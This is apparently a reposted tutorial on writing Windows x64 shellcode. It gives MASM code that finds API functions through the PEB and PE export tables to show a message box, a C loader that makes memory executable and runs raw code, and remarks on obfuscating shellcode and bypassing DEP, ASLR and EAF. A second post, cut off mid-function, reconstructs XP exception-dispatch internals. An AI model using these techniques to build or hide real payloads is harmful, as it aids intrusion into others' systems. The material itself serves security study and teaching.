0:001> dt _LIST_ENTRY ntdll!_LIST_ENTRY +0x000 Flink : Ptr64 _LIST_ENTRY +0x008 Blink : Ptr64 _LIST_ENTRY The !list command provides the ability to traverse these types of lists and execute a specific command for each element in the list (in this case displaying the element as an LDR_DATA_TABLE_ENTRY data structure). WinDbg commands can get nasty-looking sometimes but are quite powerful. Here we display the InLoadOrderModuleList with list head at offset 0x10 from the beginning of the PEB_LDR_DATA structure (very long output truncated to show just part of one element): 0:001> !list -t ntdll!_LIST_ENTRY.Flink -x "dt _LDR_DATA_TABLE_ENTRY @$extret" 779a3640+10 [...] ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`00333620 - 0x333130 ] +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`00333630 - 0x333140 ] +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`003344e0 - 0x333640 ] +0x030 DllBase : 0x00000000`77650000 Void +0x038 EntryPoint : 0x00000000`7766eff0 Void +0x040 SizeOfImage : 0x11f000 +0x048 FullDllName : _UNICODE_STRING "C:\Windows\system32\kernel32.dll" +0x058 BaseDllName : _UNICODE_STRING "kernel32.dll" +0x068 Flags : 0x84004 [...] Interesting fields for us within an LDR_DATA_TABLE_ENTRY structure are DllBase at 0x30 and BaseDllName at 0x58. Note that BaseDllName is a UNICODE_STRING, which is an actual data structure and not simply a null-terminated Unicode string. The actual string data can be found at offset 0x8 in the structure, for a total of 0x60 from BaseDllName. 0:001> dt _UNICODE_STRING ntdll!_UNICODE_STRING +0x000 Length : Uint2B +0x002 MaximumLength : Uint2B +0x008 Buffer : Ptr64 Uint2B Armed with this knowledge, we now have the ability to obtain the base address of any DLL given it’s name. Once we have the base address we can traverse the DLL in memory to locate any function exported by the DLL. Also note that the return value of LoadLibrary() is in fact a DLL base address. The base address of a loaded DLL can also be obtained in WinDbg with the lm command. Let’s take a look at kernel32.dll: 0:001> lm m kernel32 start end module name 00000000`77650000 00000000`7776f000 kernel32 (deferred) An interesting feature of the PE file and loader is that the PE file format in memory is exactly the same as it is on disk, at least as far as the headers. It’s not exactly true that the entire file is read verbatim into memory, because each section is loaded at a certain byte alignment in memory (typically a multiple of 4096, the virtual memory page size) that may be different from where it falls in the file. Also, some sections (like a debug data section) may not be read into memory at all. However, when we look at the DLL base address in memory, we can expect to find what we see at the beginning of any PE file: a DOS “MZ” header. That’s an IMAGE_DOS_HEADER structure to be exact: 0:001> dt _IMAGE_DOS_HEADER 77650000 ntdll!_IMAGE_DOS_HEADER +0x000 e_magic : 0x5a4d +0x002 e_cblp : 0x90 +0x004 e_cp : 3 +0x006 e_crlc : 0 +0x008 e_cparhdr : 4 +0x00a e_minalloc : 0 +0x00c e_maxalloc : 0xffff +0x00e e_ss : 0 +0x010 e_sp : 0xb8 +0x012 e_csum : 0 +0x014 e_ip : 0 +0x016 e_cs : 0 +0x018 e_lfarlc : 0x40 +0x01a e_ovno : 0 +0x01c e_res : [4] 0 +0x024 e_oemid : 0 +0x026 e_oeminfo : 0 +0x028 e_res2 : [10] 0 +0x03c e_lfanew : 0n224 The e_lfanew field at 0x3c (which for some reason is displayed as a decimal number even though everything else is hex) contains the byte offset to the NT header (IMAGE_NT_HEADERS64). Converting 224 to hex 0xe0 and adding to the image base will point to the NT header at 0x776500e0. We can use the –r option (recursive) to expand the embedded OptionalHeader field (which is a misnomer as it is required and always present): 0:001> dt -r _IMAGE_NT_HEADERS64 776500e0 ntdll!_IMAGE_NT_HEADERS64 +0x000 Signature : 0x4550 +0x004 FileHeader : _IMAGE_FILE_HEADER +0x000 Machine : 0x8664 +0x002 NumberOfSections : 6 +0x004 TimeDateStamp : 0x4a5bdfdf +0x008 PointerToSymbolTable : 0 +0x00c NumberOfSymbols : 0 +0x010 SizeOfOptionalHeader : 0xf0 +0x012 Characteristics : 0x2022 +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64 +0x000 Magic : 0x20b +0x002 MajorLinkerVersion : 0x9 '' +0x003 MinorLinkerVersion : 0 '' [...] +0x068 LoaderFlags : 0 +0x06c NumberOfRvaAndSizes : 0x10 +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY [...] The DataDirectory field is located a total of 0x88 bytes from the NT headers (offset 0x70 from OptionalHeader which is 0x18 from the NT headers). This is an array of 16 elements corresponding to the various types of data in a PE file. 0:001> dt -a16c _IMAGE_DATA_DIRECTORY 776500e0+88 ntdll!_IMAGE_DATA_DIRECTORY [0] @ 0000000077650168 +0x000 VirtualAddress 0xa0020 +0x004 Size 0xac33 [1] @ 0000000077650170 +0x000 VirtualAddress 0xf848c +0x004 Size 0x1f4 [2] @ 0000000077650178 +0x000 VirtualAddress 0x116000 +0x004 Size 0x520 [3] @ 0000000077650180 +0x000 VirtualAddress 0x10c000 +0x004 Size 0x9810 [4] @ 0000000077650188 +0x000 VirtualAddress 0 +0x004 Size 0 [5] @ 0000000077650190 +0x000 VirtualAddress 0x117000 +0x004 Size 0x7a9c [6] @ 0000000077650198 +0x000 VirtualAddress 0x9b7dc +0x004 Size 0x38 [7] @ 00000000776501a0 +0x000 VirtualAddress 0 +0x004 Size 0 [8] @ 00000000776501a8 +0x000 VirtualAddress 0 +0x004 Size 0 [9] @ 00000000776501b0 +0x000 VirtualAddress 0 +0x004 Size 0 [10] @ 00000000776501b8 +0x000 VirtualAddress 0 +0x004 Size 0 [11] @ 00000000776501c0 +0x000 VirtualAddress 0x2d8 +0x004 Size 0x408 [12] @ 00000000776501c8 +0x000 VirtualAddress 0x9c000 +0x004 Size 0x1c70 [13] @ 00000000776501d0 +0x000 VirtualAddress 0 +0x004 Size 0 [14] @ 00000000776501d8 +0x000 VirtualAddress 0 +0x004 Size 0 [15] @ 00000000776501e0 +0x000 VirtualAddress 0 +0x004 Size 0 We are interested in the Export Directory which is the first one in the list having VirtualAddress 0xa0020 and Size 0xac33. See the MSDN documentation of the IMAGE_DATA_DIRECTORY structure for a reference on which type of data goes with each array element. A virtual address, also called a Relative Virtual Address (RVA) is an offset from the base load address of the module. RVAs are used extensively in PE files, including for the pointers to the function names and function addresses in the export table. To get the actual memory address pointed to by an RVA, simply add the base address of the module. (For convenience, note that the !dh command can be used to automatically display much of the PE header information we’ve extracted manually so far.) Given that the Export Directory begins at RVA 0xa0020, we add the base address 0x77650000 and should therefore expect to find an IMAGE_EXPORT_DIRECTORY structure at 0x776f0020. Unfortunately IMAGE_EXPORT_DIRECTORY is not understood by the dt command or documented in MSDN, so we will have to refer to the structure definition in winnt.h: typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA from base of image DWORD AddressOfNameOrdinals; // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; The best we can do in WinDbg is display the structure as an array of DWORDs and count where things fall using the above structure as a reference. 0:001> dd 776f0020 00000000`776f0020 00000000 4a5bc32c 00000000 000a366c 00000000`776f0030 00000001 0000056a 0000056a 000a0048 00000000`776f0040 000a15f0 000a2b98 000aa10b 000aa12c [...] Beginning with the 8th DWORD within the structure we will find AddressOfFunctions (0xa0048), followed by AddressOfNames (0xa15f0) and AddressOfNameOrdinals (0xa2b98). These values are RVAs – when we add the DLL base address we will get the memory address of the array. When working with RVAs a lot it can be handy to stash the DLL base address in a pseudo-register because it will be used so frequently. Here is AddressOfNames: 0:001> r $t0=77650000 0:001> dd @$t0+a15f0 00000000`776f15f0 000a3679 000a3691 000a36a6 000a36b5 00000000`776f1600 000a36be 000a36c7 000a36d8 000a36e9 00000000`776f1610 000a370f 000a372e 000a374d 000a375a [...] This is an array of RVAs pointing to the function name strings (the size of the array is given by the NumberOfNames field in IMAGE_EXPORT_DIRECTORY). Take a look at the first one (adding DLL base address of course) and we see the name of a function exported from kernel32.dll. 0:001> da @$t0+a3679 00000000`776f3679 "AcquireSRWLockExclusive" We can ultimately find the address of a function based on the array index of where the name is found in this array. The AddressOfNameOrdinals array is a parallel array to AddressOfNames, which contains the ordinal values associated with each name. An ordinal value is the index which is finally used to look up the function address in the AddressOfFunctions array. (DLLs have the option of exporting functions by ordinal only without even having a function name, and in fact the GetProcAddress() API can be called with a numeric ordinal instead of a string name). More often than not, the value in each slot of the AddressOfNameOrdinals array has the same value as its array index but this is not guaranteed. Note that AddressOfNameOrdinals is an array of WORDs, not DWORDs. In this case it appears to follow the pattern of each element having the same value as its index. 0:001> dw @$t0+a2b98 00000000`776f2b98 0000 0001 0002 0003 0004 0005 0006 0007 00000000`776f2ba8 0008 0009 000a 000b 000c 000d 000e 000f 00000000`776f2bb8 0010 0011 0012 0013 0014 0015 0016 0017 [...] Once we have the ordinal number of a function, the ordinal is used as an index into the AddressOfFunctions array: 0:001> dd @$t0+a0048 00000000`776f0048 000aa10b 000aa12c 000044b0 00066b20 00000000`776f0058 00066ac0 0006ad90 0006ae00 0004b7d0 00000000`776f0068 000956e0 0008fbb0 00048cc0 0004b800 [...] The interpretation of the values in this array depends on whether the function is forwarded. Export Forwarding is a mechanism by which a DLL can declare that an exported function is actually implemented in a different DLL. If the function is not forwarded, the value is an RVA pointing to the actual function code. If the function is forwarded, the RVA points to an ASCII string giving the target DLL and function name. You can tell in advance if a function is forwarded based on the range of the RVA – the function is forwarded if the RVA falls within the export directory (as given by the VirtualAdress and Size in the IMAGE_DATA_DIRECTORY entry). You can practically see at a glance which RVAs above are in the vicinity of the export directory addresses we’ve been working with. The first element in the array corresponds to our old friend AcquireSRWLockExclusive which we can see is forwarded to another function in NTDLL: 0:001> da @$t0+aa10b 00000000`776fa10b "NTDLL.RtlAcquireSRWLockExclusive" 00000000`776fa12b "" The third array element, on the other hand, is not forwarded and points directly to the executable code of ActivateActCtx: 0:001> u @$t0+44b0 kernel32!ActivateActCtx: 00000000`776544b0 4883ec28 sub rsp,28h 00000000`776544b4 4883f9ff cmp rcx,0FFFFFFFFFFFFFFFFh [...] We now have all of the understanding we need to get the address of a function and it’s just a matter of implementing the above steps in code. The Code Updated 11/10/2011 – thanks to Didier Stevens for pointing out a bug in the error handling. ;shell64.asm ;License: MIT (http://www.opensource.org/licenses/mit-license.php) .code ;note: ExitProcess is forwarded main proc sub rsp, 28h ;reserve stack space for called functions and rsp, 0fffffffffffffff0h ;make sure stack 16-byte aligned lea rdx, loadlib_func lea rcx, kernel32_dll call lookup_api ;get address of LoadLibraryA mov r15, rax ;save for later use with forwarded exports lea rcx, user32_dll call rax ;load user32.dll lea rdx, msgbox_func lea rcx, user32_dll call lookup_api ;get address of MessageBoxA xor r9, r9 ;MB_OK lea r8, title_str ;caption lea rdx, hello_str ;Hello world xor rcx, rcx ;hWnd (NULL) call rax ;display message box lea rdx, exitproc_func lea rcx, kernel32_dll call lookup_api ;get address of ExitProcess xor rcx, rcx ;exit code zero call rax ;exit main endp kernel32_dll db 'KERNEL32.DLL', 0 loadlib_func db 'LoadLibraryA', 0 user32_dll db 'USER32.DLL', 0 msgbox_func db 'MessageBoxA', 0 hello_str db 'Hello world', 0 title_str db 'Message', 0 exitproc_func db 'ExitProcess', 0 ;look up address of function from DLL export table ;rcx=DLL name string, rdx=function name string ;DLL name must be in uppercase ;r15=address of LoadLibraryA (optional, needed if export is forwarded) ;returns address in rax ;returns 0 if DLL not loaded or exported function not found in DLL lookup_api proc sub rsp, 28h ;set up stack frame in case we call loadlibrary start: mov r8, gs:[60h] ;peb mov r8, [r8+18h] ;peb loader data lea r12, [r8+10h] ;InLoadOrderModuleList (list head) - save for later mov r8, [r12] ;follow _LIST_ENTRY->Flink to first item in list cld for_each_dll: ;r8 points to current _ldr_data_table_entry mov rdi, [r8+60h] ;UNICODE_STRING at 58h, actual string buffer at 60h mov rsi, rcx ;pointer to dll we're looking for compare_dll: lodsb ;load character of our dll name string test al, al ;check for null terminator jz found_dll ;if at the end of our string and all matched so far, found it mov ah, [rdi] ;get character of current dll cmp ah, 61h ;lowercase 'a' jl uppercase sub ah, 20h ;convert to uppercase uppercase: cmp ah, al jne wrong_dll ;found a character mismatch - try next dll inc rdi ;skip to next unicode character inc rdi jmp compare_dll ;continue string comparison wrong_dll: mov r8, [r8] ;move to next _list_entry (following Flink pointer) cmp r8, r12 ;see if we're back at the list head (circular list) jne for_each_dll xor rax, rax ;DLL not found jmp done found_dll: mov rbx, [r8+30h] ;get dll base addr - points to DOS "MZ" header mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header add r9, rbx ;add to base - now r9 points to _image_nt_headers64 add r9, 88h ;18h to optional header + 70h to data directories ;r9 now points to _image_data_directory[0] array entry ;which is the export directory mov r13d, [r9] ;get virtual address of export directory test r13, r13 ;if zero, module does not have export table jnz has_exports xor rax, rax ;no exports - function will not be found in dll jmp done has_exports: lea r8, [rbx+r13] ;add dll base to get actual memory address ;r8 points to _image_export_directory structure (see winnt.h) mov r14d, [r9+4] ;get size of export directory add r14, r13 ;add base rva of export directory ;r13 and r14 now contain range of export directory ;will be used later to check if export is forwarded mov ecx, [r8+18h] ;NumberOfNames mov r10d, [r8+20h] ;AddressOfNames (array of RVAs) add r10, rbx ;add dll base dec ecx ;point to last element in array (searching backwards) for_each_func: lea r9, [r10 + 4*rcx] ;get current index in names array mov edi, [r9] ;get RVA of name add rdi, rbx ;add base mov rsi, rdx ;pointer to function we're looking for compare_func: cmpsb jne wrong_func ;function name doesn't match mov al, [rsi] ;current character of our function test al, al ;check for null terminator jz found_func ;if at the end of our string and all matched so far, found it jmp compare_func ;continue string comparison wrong_func: loop for_each_func ;try next function in array xor rax, rax ;function not found in export table jmp done found_func: ;ecx is array index where function name found ;r8 points to _image_export_directory structure mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva) add r9, rbx ;add dll base address mov cx, [r9+2*rcx] ;get ordinal value from array of words mov r9d, [r8+1ch] ;AddressOfFunctions (rva) add r9, rbx ;add dll base address mov eax, [r9+rcx*4] ;Get RVA of function using index cmp rax, r13 ;see if func rva falls within range of export dir jl not_forwarded cmp rax, r14 ;if r13 <= func < r14 then forwarded jae not_forwarded ;forwarded function address points to a string of the form <DLL name>.<function> ;note: dll name will be in uppercase ;extract the DLL name and add ".DLL" lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name lea rdi, [rsp+30h] ;using register storage space on stack as a work area mov r12, rdi ;save pointer to beginning of string copy_dll_name: movsb cmp byte ptr [rsi], 2eh ;check for '.' (period) character jne copy_dll_name movsb ;also copy period mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack call r15 ;call LoadLibraryA with target dll mov rcx, r12 ;target dll name mov rdx, rsi ;target function name jmp start ;start over with new parameters not_forwarded: add rax, rbx ;add base addr to rva to get function address done: add rsp, 28h ;clean up stack ret lookup_api endp end Building In the past I had developed 32-bit shellcode using the free and open-source Netwide Assembler (NASM), but when going through the exercise of learning the 64-bit variety I figured I would try it out with the Microsoft Assembler (MASM) instead. One problem quickly became apparent: MASM offers no way (that I know of) to generate raw binary machine code as opposed to an .exe file! All is not lost though, the code bytes can be extracted from the .exe file easily enough (but in the future I might go back to NASM). First build a regular executable (note that no /defaultlib arguments are required – this code does not directly import any functions from DLLs because it looks them up itself): ml64 shell64.asm /link /entry:main Then use dumpbin to display the section headers, and take note of the virtual size and file pointer to raw data for the .text section: dumpbin /headers shell64.exe SECTION HEADER #1 .text name 1B2 virtual size 1000 virtual address (0000000140001000 to 00000001400011B1) 200 size of raw data 200 file pointer to raw data (00000200 to 000003FF) [...] Converting these numbers to decimal, this means we need to extract 434 (0x1b2) bytes beginning at offset 512 (0x200) in the file. This can be done with a hex editor, or with the following command if you have a Windows version of dd laying around (I’m using Cygwin): dd if=shell64.exe of=shell64.bin bs=1 count=434 skip=512 Now we have a file shell64.bin containing our shellcode. I like to open it in IDA Pro the first time and make sure it looks right. Testing The following test program simply loads data from a file into memory and then transfers execution to it. It supports an optional argument -d which will insert a debugger breakpoint prior to calling the shellcode. All of the error-handling code is long and tedious, yes, but debugging shellcode can be difficult enough without having to worry about whether the test program is working correctly. There is also a free tool called testival available for testing shellcode, which supposedly has some nice features but I have not personally tried it. Note the call to VirtualProtect() to enable execute permission on the allocated memory. This is necessary because the process heap memory is non-executable by default on 64-bit Windows. This is called Data Execution Prevention (DEP) and was designed specifically as a security measure. Without the VirtualProtect() call, the program will crash with an Access Violation on the first instruction of the shellcode (debugging note: the !vprot command in WinDbg can be used to display the memory permissions for a given address). Bypassing DEP involves a technique called Return-Oriented Programming (ROP) which is beyond the scope of this article (see mitigations section at the end). Also note the use of compiler intrinsics to insert the debugger breakpoint. Inline assembly language is not allowed by the x64 Visual C++ compiler, so we can no longer write __asm int 3 to trigger a debugger as in x86 and must use the __debugbreak() macro instead (it produces the same int 3 opcode). Take a look through intrin.h – there are numerous such macros available. //runbin.c #include <windows.h> #include <stdio.h> #include <io.h> #include <stdlib.h> #include <malloc.h> #include <fcntl.h> #include <intrin.h> typedef void (*FUNCPTR)(); int main(int argc, char **argv) { FUNCPTR func; void *buf; int fd, len; int debug; char *filename; DWORD oldProtect; if (argc == 3 && strlen(argv[1]) == 2 && strncmp(argv[1], "-d", 2) == 0) { debug = 1; filename = argv[2]; } else if (argc == 2) { debug = 0; filename = argv[1]; } else { fprintf(stderr, "usage: runbin [-d] <filename>\n"); fprintf(stderr, " -d insert debugger breakpoint\n"); return 1; } fd = _open(filename, _O_RDONLY | _O_BINARY); if (-1 == fd) { perror("Error opening file"); return 1; } len = _filelength(fd); if (-1 == len) { perror("Error getting file size"); return 1; } buf = malloc(len); if (NULL == buf) { perror("Error allocating memory"); return 1; } if (0 == VirtualProtect(buf, len, PAGE_EXECUTE_READWRITE, &oldProtect)) { fprintf(stderr, "Error setting memory executable: error code %d\n", GetLastError()); return 1; } if (len != _read(fd, buf, len)) { perror("error reading from file"); return 1; } func = (FUNCPTR)buf; if (debug) { __debugbreak(); } func(); return 0; } Build the test program with: cl runbin.c Then test the shellcode as follows: runbin shell64.bin If all goes well the message box should be seen: If you want to step through it in a debugger, add the –d option: runbin –d shell64.bin For this to work, a Just-In-Time (JIT) debugger (also known as postmortem debugger) must be configured on the system. To enable WinDbg as the JIT debugger, run windbg –I from the command line. For more information see Configuring Automatic Debugging. Comments This shellcode was written from scratch with the goal of making it easy to understand (as much as shellcode can be anyway) and to demonstrate how everything works. It is not the smallest or most optimized code possible. There are many other published shellcode examples out there, and the Metasploit source code is particularly worth a look (the path is /external/source/shellcode/windows/x64/src/). Most shellcode does not handle forwarded exports as in this example, because it bloats and complicates the code and can be worked around by determining in advance if the function is forwarded and just writing your code to call the ultimate target instead. (The only catch is that whether an export is forwarded can change between operating system versions or even service packs, so supporting forwarded exports does in fact make the shellcode more portable.) A common variation on the technique for locating a function is to iterate through the export table computing a “hash” of each function name, and then comparing it to a pre-computed hash value of the name of the function we’re interested in. This has the advantage of making the shellcode smaller, particularly if it uses many API functions with lengthy names, as the code only needs to contain short hash values rather than full strings like “ExitProcess”. The technique also serves to obscure which functions are being called and has even been used by stand-alone malicious executables for this purpose. Metasploit goes even further and computes a single hash that covers both the function name and DLL name. It is also common practice to “encrypt” or “encode” the shellcode (typically with just a simple XOR type of algorithm rather than true strong encryption), for the purpose of obfuscation and/or avoiding particular byte values in the code (such as zeroes) that could prevent an exploit from working. The encrypted code is then prepended with a “decoder” stub that decrypts and executes the main code. Most shellcode does not bother with the error handling I put in place to return zero if the DLL or function cannot be found, again because it makes the code larger and is not necessary once everything is tested. The lookup_api function does not entirely behave itself according to the x64 calling conventions – in particular it does not bother to save and restore all of the registers that are deemed non-volatile. (A function is allowed to modify rax, rcx, rdx, r8, r9, r10, and r11, but should preserve the values of all others). It also makes an assumption that r15 will point to LoadLibraryA if needed for forwarded functions. Metasploit and others use NASM instead of MASM as the assembler (probably a good call given the aforementioned limitation of MASM for outputting raw binary, also NASM is open source and runs on Linux and other platforms). Metasploit uses decimal numbers for the various offsets into the data structures whereas I prefer hex (“You might be a geek if…”). Mitigations Unfortunately for exploit developers and fortunately for PC users, the latest versions of Windows employ a variety of effective exploit mitigation technologies. None of these features truly eliminate vulnerabilities but they can make it significantly more difficult to execute arbitrary code via an exploit as opposed to simply crashing the program. For more information on many of these mitigations and techniques for bypassing them, the Corelan exploit writing tutorials are excellent (32-bit centric but still mostly applicable to x64). Data Execution Prevention (DEP) – This was discussed earlier regarding the VirtualProtect() call in the test program. By default the stack and heap are configured to use non-executable memory pages which trigger an Access Violation if code attempts to execute there. DEP can be bypassed using Return-Oriented Programming (ROP), where snippets of existing executable code on the system are executed in sequence to accomplish a particular task. Address Space Layout Randomization (ASLR) – Rather than loading DLLs and EXEs at constant base addresses, the operating system randomly varies the load address (at least across reboots, not necessarily between every invocation of a program). ASLR does not prevent shellcode from executing (this example code runs just fine with it), but it makes it more difficult to transfer execution to the shellcode in the first place. It also makes bypassing DEP using ROP much more difficult. There are several approaches to bypassing ASLR, including the use of a secondary information-disclosure vulnerability to obtain the base address of a module. Stack cookies – Compiler-generated code is inserted before and after functions to detect if the return address on the stack has been overwritten, making it more difficult to exploit stack-based buffer overflow vulnerabilities. Structured Exception Handler (SEH) overwrite protection – this is not applicable to x64 because exception handlers are not stored on the stack. Export Address Table Filtering (EAF) – This is a new option released as part of the Enhanced Mitigation Experience Toolkit (EMET) in November 2010. It is designed to block shellcode from looking up API addresses by accessing DLL export tables, and works by setting a hardware breakpoint on memory access to certain data structures. Microsoft acknowledges that it can be easily bypassed but argues that it will break almost all shellcode currently in use today, and that EMET can be updated in response to new attack techniques at much more frequent intervals than new releases of Windows are possible. See this article on bypassing EAF for details. Sursa: http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
-
Exception handling routines (ntdll) /* * exception handling routines (xp 32-bit, partial/incomplete) * * ntdll 5.1.2600.5755 * v2 (updated jan 2011) * * - hawkes <hawkes@sota.gen.nz> * * useful link: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html * */ #define DISPOSITION_DISMISS 0 #define DISPOSITION_CONTINUE_SEARCH 1 #define DISPOSITION_NESTED_EXCEPTION 2 #define DISPOSITION_COLLIDED_UNWIND 3 #define EH_NONCONTINUABLE 0x01 #define EH_UNWINDING 0x02 #define EH_EXIT_UNWIND 0x04 #define EH_STACK_INVALID 0x08 #define EH_NESTED_CALL 0x10 #define STATUS_NONCONTINUABLE_EXCEPTION 0xC0000025 #define STATUS_INVALID_DISPOSITION 0xC0000026 #define EXCEPTION_CONTINUE_EXECUTION -1 #define PAGE_EXEC_MASK (PAGE_EXECUTE|PAGE_EXECUTE_READ|PAGE_EXECUTE_READWRITE|PAGE_EXECUTE_WRITECOPY) typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; // var_CW PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[15]; } EXCEPTION_RECORD, *PEXCEPTION_RECORD; typedef struct _EXCEPTION_REGISTRATION { struct _EXCEPTION_REGISTRATION* prev; PEXCEPTION_HANDLER handler; } EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION; typedef struct _VECTORED_EXCEPTION_NODE { LIST_ENTRY ListEntry; PVECTORED_EXCEPTION_HANDLER handler; } VECTORED_EXCEPTION_NODE, *PVECTORED_EXCEPTION_NODE; typedef enum _EXCEPTION_DISPOSITION { ExceptionContinueExecution, ExceptionContinueSearch, ExceptionNestedException, ExceptionCollidedUnwind } EXCEPTION_DISPOSITION; /* 7C97E3FA */ UCHAR LogExceptions = 0; /* 7C97E3C0 */ LIST_ENTRY RtlpCalloutEntryList; /* 7C9805E0 */ RTL_CRITICAL_SECTION RtlpCalloutEntryLock; RTL_CRITICAL_SECTION LdrpLoaderLock; /* 7C90E47C */ VOID KiUserExceptionDispatcher(__in PCONTEXT ContextRecord, __in PEXCEPTION_RECORD ExceptionRecord) { NTSTATUS Status; if (RtlDispatchException(ContextRecord, ExceptionRecord)) { /* 7C90E48E modify the execution context of the current thread to whatever the chosen exception handler gives us */ Status = ZwContinue(ContextRecord, 0); } else { /* 7C90E49A no exception handler found so re-raise the exception for a debugger or the NT exception handler */ Status = ZwRaiseException(ExceptionRecord, ContextRecord, 0); } /* 7C90E4A5 build an exception record with 20 bytes on the stack, second chance exception? */ PEXCEPTION_RECORD exception = (PEXCEPTION_RECORD) alloca(0x14); exception->ExceptionCode = Status; exception->ExceptionFlags = 1; exception->ExceptionRecord = ContextRecord; exception->NumberParameters = 1; return RtlRaiseException(exception); } /* 7C92A970 returns true if exception handler was found and used */ BOOLEAN RtlDispatchException(PCONTEXT ContextRecord, PEXCEPTION_RECORD ExceptionRecord) { BOOLEAN ret = 0; LPVOID StackBase, StackLimit; PEXCEPTION_REGISTRATION head; DWORD kProcess_Flags; DWORD dispatch, highest; EXCEPTION_RECORD exRec; if (RtlCallVectoredExceptionHandlers(ExceptionRecord, ContextRecord)) { /* 7C95010A */ ret = 1; } else { /* 7C92A991 */ RtlpGetStackLimits(&StackLimit, &StackBase); /* 7C92A99F */ head = RtlpGetRegistrationHead(); highest = 0; while (head != (PEXCEPTION_REGISTRATION) -1) { /* 7C92A9B4 */ if (head < StackLimit || head + sizeof(EXCEPTION_REGISTRATION) > StackBase || head & 3) { /* 7C92A336 */ ExceptionRecord->ExceptionFlags |= EH_STACK_INVALID; goto exit; } if (head->handler >= StackLimit && head->handler < StackBase) { /* 7C92A336 */ ExceptionRecord->ExceptionFlags |= EH_STACK_INVALID; goto exit; } /* 7C92A9E3 */ if (!RtlIsValidHandler(head->handler)) { /* 7C92A336 */ ExceptionRecord->ExceptionFlags |= EH_STACK_INVALID; goto exit; } else if (LogExceptions) { /* 7C950113 */ RtlpLogExceptionHandler(ContextRecord, ExceptionRecord, 0, head, 0x10); } /* 7C92A9FE */ hret = RtlpExecuteHandlerForException(ContextRecord, head, ExceptionRecord, &dispatch, head->handler); if (LogExceptions) { /* 7C950129 there is a second parameter to this function that I don't understand yet */ RtlpLogLastExceptionDisposition(highest, hret); } /* 7C92AA1E */ if (head == NULL) { ExceptionRecord->ExceptionFlags &= ~EH_NESTED_CALL; } /* 7C92AA27 */ if (hret == DISPOSITION_DISMISS) { if (ExceptionRecord->ExceptionFlags & EH_NONCONTINUABLE) { /* 7C950181 */ exRec.ExceptionCode = STATUS_NONCONTINUABLE_EXCEPTION; exRec.ExceptionFlags = EH_NONCONTINUABLE; exRec.ExceptionRecord = ExceptionRecord; exRec.NumberParameters = 0; RtlRaiseException(&exRec); /* 7C92A31C a little fudging with this block */ if (ExceptionRecord->ExceptionFlags & EH_STACK_INVALID) { goto exit; } } else { /* 77EDBD64 */ ret = 1; break; } } else if (hret == DISPOSITION_CONTINUE_SEARCH) { /* 7C92A31C a little fudging with this block */ if (ExceptionRecord->ExceptionFlags & EH_STACK_INVALID) { goto exit; } } else if (hret == DISPOSITION_NESTED_EXCEPTION) { /* 7C950169 */ ExceptionRecord->ExceptionFlags |= EH_NESTED_CALL; if (dispatch > highest) { highest = dispatch; } } else { /* 7C950147 */ exRec.ExceptionCode = STATUS_INVALID_DISPOSITION; exRec.ExceptionFlags = EH_NONCONTINUABLE; exRec.ExceptionRecord = ExceptionRecord; exRec.NumberParameters = 0; RtlRaiseException(&exRec); } /* 7C92A326 */ head = head->prev; } } exit: /* 7C92AA43 */ return ret; } /* 7C92A934 */ BOOLEAN RtlCallVectoredExceptionHandlers(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextRecord) { BOOLEAN ret = FALSE; struct { PEXCEPTION_RECORD eRec; PCONTEXT cRec; } Rec; PVECTORED_EXCEPTION_NODE veh; PVECTORED_EXCEPTION_HANDLER handler; DWORD disposition if (RtlpCalloutEntryList.Flink == &RtlpCalloutEntryList) { return FALSE; } eRec = ExceptionRecord; cRec = ExceptionRecord; RtlEnterCriticalSection(&RtlpCalloutEntryLock); for (veh = (PVECTORED_EXCEPTION_NODE) RtlpCalloutEntryList.Flink); veh != (PVECTORED_EXCEPTION_NODE) RtlpCalloutEntryList; veh = (PVECTORED_EXCEPTION_NODE) veh->ListEntry.Flink) { handler = RtlDecodePointer(veh->handler); disposition = handler(&Rec); if (disposition == EXCEPTION_CONTINUE_EXECUTION) { ret = 1; break; } } RtlLeaveCriticalSection(&RtlpCalloutEntryLock); return ret; } /* 7C9033DC */ VOID RtlpGetStackLimits(LPVOID **StackLimit, LPVOID **StackBase) { PTEB teb = _TEB; // fs:18h *StackLimit = teb->NtTib->StackLimit; *StackBase = teb->NtTib->StackBase; return; } /* 7C92AA50 */ BOOLEAN RtlIsValidHandler(PEXCEPTION_HANDLER handler) { DWORD table_sz; LPVOID safeseh_table, base_addr; DWORD ret, result_len, exec_flags, high, low; MEMORY_BASIC_INFORMATION mbi; safeseh_table = RtlLookupFunctionTable(handler, &base_addr, &table_sz); if (safeseh_table == NULL || table_sz == 0) { /* 7C9500D1 ProcessExecuteFlags*/ if (ZwQueryInformationProcess(INVALID_HANDLE_VALUE, 22, &exec_flags, 4, NULL) >= 0) { /* 7C92CF94 0x10 = ExecuteDispatchEnable */ if (!(exec_flags & 0x10)) { return 1; } } /* 7C935E8E */ if (NtQueryVirtualMemory(INVALID_HANDLE_VALUE, handler, NULL, &mbi, sizeof(MEMORY_BASIC_INFORMATION), &result_len) < 0) { return 1; } /* 7C935EA9 */ if (!(mbi.Protect & PAGE_EXEC_MASK)) { RtlInvalidHandlerDetected(handler, -1, -1); return 0; } else if (mbi.Type != SEC_IMAGE) { return 1; 